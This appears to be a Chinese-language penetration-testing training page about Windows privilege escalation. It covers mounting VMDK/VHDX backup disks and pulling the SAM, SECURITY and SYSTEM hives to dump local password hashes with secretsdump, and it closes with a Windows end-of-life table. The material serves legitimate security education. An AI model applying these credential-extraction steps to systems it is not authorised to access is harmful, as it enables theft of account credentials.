1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PS C:\> Get-LocalUser Name Enabled Description ---- ------- ----------- Administrator True Built-in account for administering the computer/domain DefaultAccount False A user account managed by the system. Guest False Built-in account for guest access to the computer/domain helpdesk True htb-student True htb-student_adm True jordan True logger True sarah True sccm_svc True secsvc True Network scanner - do not change password sql_dev True
1 2 3 4 5 PS C:\> Get-WmiObject -Class Win32_OperatingSystem | select Description Description ----------- The most vulnerable box ever!
挂载 VHDX/VMDK .vhd
、.vhdx
、.vmdk
文件是Virtual Hard Disk
、Virtual Hard Disk v2
(均由 Hyper-V 使用)和Virtual Machine Disk
(由 VMware 使用)。
挂载 VMDK
1 $ guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk
安装 VHD/VHDX
1 $ guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1
在 Windows 中,可以右键单击文件并选择Mount
,或者使用Disk Management
实用程序挂载.vhd
或.vhdx
文。或者使用Mount-VHD PowerShell cmdlet。
对于 .vmdk
文件,可以右键单击并从菜单中选择 Map Virtual Disk
。接下来,系统将提示选择驱动器号。如果一切顺利,可以浏览目标操作系统的文件和目录。如果失败,可以使用 VMWare Workstation File
–> Map Virtual Disks
映射到基础系统上。还可以将 .vmdk
文件作为附加虚拟硬盘添加到攻击 VM 上,然后将其作为带字母的驱动器进行访问。甚至可以使用 7-Zip
从 .vmdk 文件中提取数据。guide 介绍了多种访问 .vmdk
文件上的文件的方法。
如果可以找到实时机器的备份,可以访问 C:\Windows\System32\Config 目录并下拉 SAM、SECURITY 和 SYSTEM 注册表配置单元。然后,可以使用 secretsdump 之类的工具来提取本地用户的密码哈希。
1 secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
Legacy Operating Systems End of Life Systems (EOL) 随着时间的推移,微软决定不再为特定操作系统版本提供持续支持。当他们停止支持某个版本的 Windows 时,他们会停止为相关版本发布安全更新。Windows 系统首先进入“扩展支持”期,然后被归类为终止使用或不再受官方支持。微软继续通过定制的长期支持合同为这些系统创建安全更新,并提供给大型组织。以下是流行的 Windows 版本及其终止使用日期的列表:
Windows Desktop
版本
日期
Windows XP
2014 年 4 月 8 日
Windows Vista
2017 年 4 月 11 日
Windows 7
2020 年 1 月 14 日
Windows 8
2016 年 1 月 12 日
Windows 8.1
2023 年 1 月 10 日
Windows 10 version 1507
2017 年 5 月 9 日
Windows 10 version 1703
2018 年 10 月 9 日
Windows 10 version 1809
2020 年 11 月 10 日
Windows 10 version本 1903
2020 年 12 月 8 日
Windows 10 version 1909
2021 年 5 月 11 日
Windows 10 version 2004
2021 年 12 月 14 日
Windows 10 version 20H2
2022 年 5 月 10 日
Windows Server
版本
日期
Windows Server 2003
2014 年 4 月 8 日
Windows Server 2003 R2
2015 年 7 月 14 日
Windows Server 2008
2020 年 1 月 14 日
Windows Server 2008 R2
2020 年 1 月 14 日
Windows Server 2012
2023 年 10 月 10 日
Windows Server 2012 R2
2023 年 10 月 10 日
Windows Server 2016
2027 年 1 月 12 日
Windows Server 2019
2029 年 1 月 9 日
End of Life Systems 更详细地列出了 Microsoft Windows 和其他产品(如 Exchange、SQL Server和 Microsoft Office)的终止日期,在评估期间可能会遇到所有这些产品。
Differences Windows Server Windows Server 2008/2008 R2 已于 2020 年 1 月 14 日停产。多年来,微软为后续版本的 Windows Server 添加了增强的安全功能。在外部渗透测试中遇到 Server 2008 并不常见,但我在内部评估中经常遇到它。
下表显示了 Server 2008 与最新 Windows Server 版本之间的一些显著差异。
Windows Desktop Versions Windows 7 已于 2020 年 1 月 14 日终止使用,但仍在许多环境中使用。
多年来,微软在 Windows 桌面的后续版本中增加了增强的安全功能。下表显示了 Windows 7 和 Windows 10 之间的一些显著差异。